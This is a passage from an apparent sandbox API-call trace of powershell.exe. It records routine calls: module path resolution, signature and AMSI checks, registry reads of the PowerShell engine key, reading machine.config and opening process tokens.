lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0195.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0195.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c5b0) returned 1 [0195.265] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4c690 | out: lpFileInformation=0x5bfed4c690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0195.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c570) returned 1 [0195.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0195.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0195.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4c540) returned 1 [0195.265] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0195.265] GetFileType (hFile=0x76c) returned 0x1 [0195.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4c4b0) returned 1 [0195.265] GetFileType (hFile=0x76c) returned 0x1 [0195.265] WTGetSignatureInfo () returned 0x0 [0195.297] CertDuplicateCertificateContext (pCertContext=0x1ef7031dff0) returned 0x1ef7031dff0 [0195.297] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4c5d8 | out: phkResult=0x5bfed4c5d8*=0x778) returned 0x0 [0195.297] RegQueryValueExW (in: hKey=0x778, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4c628, lpData=0x0, lpcbData=0x5bfed4c620*=0x0 | out: lpType=0x5bfed4c628*=0x1, lpData=0x0, lpcbData=0x5bfed4c620*=0x56) returned 0x0 [0195.297] RegQueryValueExW (in: hKey=0x778, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4c628, lpData=0x1ef004ceed0, lpcbData=0x5bfed4c620*=0x56 | out: lpType=0x5bfed4c628*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4c620*=0x56) returned 0x0 [0195.297] RegCloseKey (hKey=0x778) returned 0x0 [0195.297] CoTaskMemAlloc (cb=0x10) returned 0x1ef703a68d0 [0195.297] CoTaskMemAlloc (cb=0x50) returned 0x1ef70470520 [0195.297] WinVerifyTrust () returned 0x0 [0195.300] CoTaskMemFree (pv=0x1ef70470520) [0195.300] CoTaskMemFree (pv=0x1ef703a68d0) [0195.300] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0195.300] CloseHandle (hObject=0x76c) returned 1 [0195.300] AmsiScanString () returned 0x80070015 [0195.325] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0x345eb8e7, Data2=0x5846, Data3=0x4f5b, Data4=([0]=0x8b, [1]=0x4e, [2]=0x11, [3]=0xe, [4]=0xf1, [5]=0xbd, [6]=0xd3, [7]=0xd7))) returned 0x0 [0195.344] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0xd2d95a11, Data2=0x7fc5, Data3=0x477c, Data4=([0]=0xb9, [1]=0xeb, [2]=0xe6, [3]=0xed, [4]=0xd0, [5]=0x4d, [6]=0xf8, [7]=0xe0))) returned 0x0 [0195.346] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0x7336ea9c, Data2=0x9f73, Data3=0x4ded, Data4=([0]=0x80, [1]=0x3e, [2]=0x84, [3]=0x39, [4]=0x1b, [5]=0x75, [6]=0x73, [7]=0x48))) returned 0x0 [0195.346] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0x605a8c1c, Data2=0x665a, Data3=0x44fe, Data4=([0]=0x8a, [1]=0x5b, [2]=0xdf, [3]=0x24, [4]=0xb9, [5]=0x61, [6]=0xe1, [7]=0x72))) returned 0x0 [0195.349] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0x632de43b, Data2=0x9e7, Data3=0x4304, Data4=([0]=0xa9, [1]=0x84, [2]=0xc4, [3]=0x2a, [4]=0xaf, [5]=0x1e, [6]=0xe2, [7]=0x9a))) returned 0x0 [0195.349] CoCreateGuid (in: pguid=0x5bfed4c638 | out: pguid=0x5bfed4c638*(Data1=0x34b32871, Data2=0x2f5a, Data3=0x4c91, Data4=([0]=0x93, [1]=0xd7, [2]=0xd8, [3]=0x9b, [4]=0x1a, [5]=0xcc, [6]=0x2b, [7]=0xf3))) returned 0x0 [0195.455] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.455] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.455] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef00727280, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.455] RegCloseKey (hKey=0x76c) returned 0x0 [0195.455] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.455] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.455] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef00727628, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.455] RegCloseKey (hKey=0x76c) returned 0x0 [0195.455] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.456] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.456] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef007279a8, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.456] RegCloseKey (hKey=0x76c) returned 0x0 [0195.456] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.456] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.456] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef00727d40, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.456] RegCloseKey (hKey=0x76c) returned 0x0 [0195.456] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef007280e8, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegCloseKey (hKey=0x76c) returned 0x0 [0195.457] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef00728490, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegCloseKey (hKey=0x76c) returned 0x0 [0195.457] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dc88 | out: phkResult=0x5bfed4dc88*=0x76c) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x0 | out: lpType=0x5bfed4dcd8*=0x1, lpData=0x0, lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dcd8, lpData=0x1ef00728810, lpcbData=0x5bfed4dcd0*=0x56 | out: lpType=0x5bfed4dcd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dcd0*=0x56) returned 0x0 [0195.457] RegCloseKey (hKey=0x76c) returned 0x0 [0195.458] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfed4dcb8 | out: phkResult=0x5bfed4dcb8*=0x76c) returned 0x0 [0195.458] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dd08, lpData=0x0, lpcbData=0x5bfed4dd00*=0x0 | out: lpType=0x5bfed4dd08*=0x1, lpData=0x0, lpcbData=0x5bfed4dd00*=0x56) returned 0x0 [0195.458] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfed4dd08, lpData=0x1ef00728bf8, lpcbData=0x5bfed4dd00*=0x56 | out: lpType=0x5bfed4dd08*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfed4dd00*=0x56) returned 0x0 [0195.458] RegCloseKey (hKey=0x76c) returned 0x0 [0195.866] EtwEventActivityIdControl () returned 0x0 [0195.873] SetEvent (hEvent=0x764) returned 1 [0195.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bfed4e040*=0x764, lpdwindex=0x5bfed4de14 | out: lpdwindex=0x5bfed4de14) returned 0x0 [0195.908] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e1a0, nSize=0xbc | out: lpBuffer="葐\x06ǯ") returned 0x0 [0195.910] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0195.910] GetFileType (hFile=0x54) returned 0x2 [0195.911] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x5bfed4e348 | out: lpMode=0x5bfed4e348) returned 1 [0195.912] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfed4e328 | out: lpConsoleScreenBufferInfo=0x5bfed4e328) returned 1 [0195.913] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfed4e328 | out: lpConsoleScreenBufferInfo=0x5bfed4e328) returned 1 [0195.998] EtwEventActivityIdControl () returned 0x0 [0195.998] EtwEventActivityIdControl () returned 0x0 [0195.998] EtwEventActivityIdControl () returned 0x0 [0196.253] EtwEventActivityIdControl () returned 0x0 [0198.075] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5bfed4dcd0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0198.077] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704bf910 [0198.077] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ef704bf910, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0198.078] CoTaskMemFree (pv=0x1ef704bf910) [0198.078] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0198.078] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0198.105] GetCurrentProcess () returned 0xffffffffffffffff [0198.105] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dfd8 | out: TokenHandle=0x5bfed4dfd8*=0x774) returned 1 [0198.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0198.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x31, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0198.113] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e080 | out: lpFileInformation=0x5bfed4e080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0198.117] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0198.117] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0198.133] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e078 | out: lpFileInformation=0x5bfed4e078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0198.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0198.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0198.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4def0) returned 1 [0198.133] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0198.134] GetFileType (hFile=0x76c) returned 0x1 [0198.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4de60) returned 1 [0198.134] GetFileType (hFile=0x76c) returned 0x1 [0198.152] GetFileSize (in: hFile=0x76c, lpFileSizeHigh=0x5bfed4dfc8 | out: lpFileSizeHigh=0x5bfed4dfc8*=0x0) returned 0x8c8f [0198.152] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4df38, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4df38*=0x1000, lpOverlapped=0x0) returned 1 [0198.163] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dce8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dce8*=0x1000, lpOverlapped=0x0) returned 1 [0198.165] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dab8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dab8*=0x1000, lpOverlapped=0x0) returned 1 [0198.165] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dab8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dab8*=0x1000, lpOverlapped=0x0) returned 1 [0198.166] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dab8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dab8*=0x1000, lpOverlapped=0x0) returned 1 [0198.166] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d958, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4d958*=0x1000, lpOverlapped=0x0) returned 1 [0198.175] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dbf8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dbf8*=0x1000, lpOverlapped=0x0) returned 1 [0198.177] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dae8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dae8*=0x1000, lpOverlapped=0x0) returned 1 [0198.177] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dae8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dae8*=0xc8f, lpOverlapped=0x0) returned 1 [0198.177] ReadFile (in: hFile=0x76c, lpBuffer=0x1ef007d9bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4dbf8, lpOverlapped=0x0 | out: lpBuffer=0x1ef007d9bb8*, lpNumberOfBytesRead=0x5bfed4dbf8*=0x0, lpOverlapped=0x0) returned 1 [0198.179] CloseHandle (hObject=0x76c) returned 1 [0198.198] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5bfed4dd00, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0198.198] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704be810 [0198.198] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ef704be810, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0198.198] CoTaskMemFree (pv=0x1ef704be810) [0198.198] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0198.198] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0198.200] GetCurrentProcess () returned 0xffffffffffffffff [0198.200] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e198 | out: TokenHandle=0x5bfed4e198*=0x76c) returned 1 [0198.203] GetCurrentProcess () returned 0xffffffffffffffff [0198.203] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4e198 | out: TokenHandle=0x5bfed4e198*=0x770) returned 1 [0198.213] GetCurrentProcess () returned 0xffffffffffffffff [0198.213] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfed4dfd8 | out: TokenHandle=0x5bfed4dfd8*=0x794) returned 1 [0198.215] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e080 | out: lpFileInformation=0x5bfed4e080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0198.215] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0198.215] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0198.217] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e078 | out: lpFileInformation=0x5bfed4e078*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0198.218] GetCurrentProcess () returned 0xffffffffffffffff [0198.218] OpenProcessToken (in: 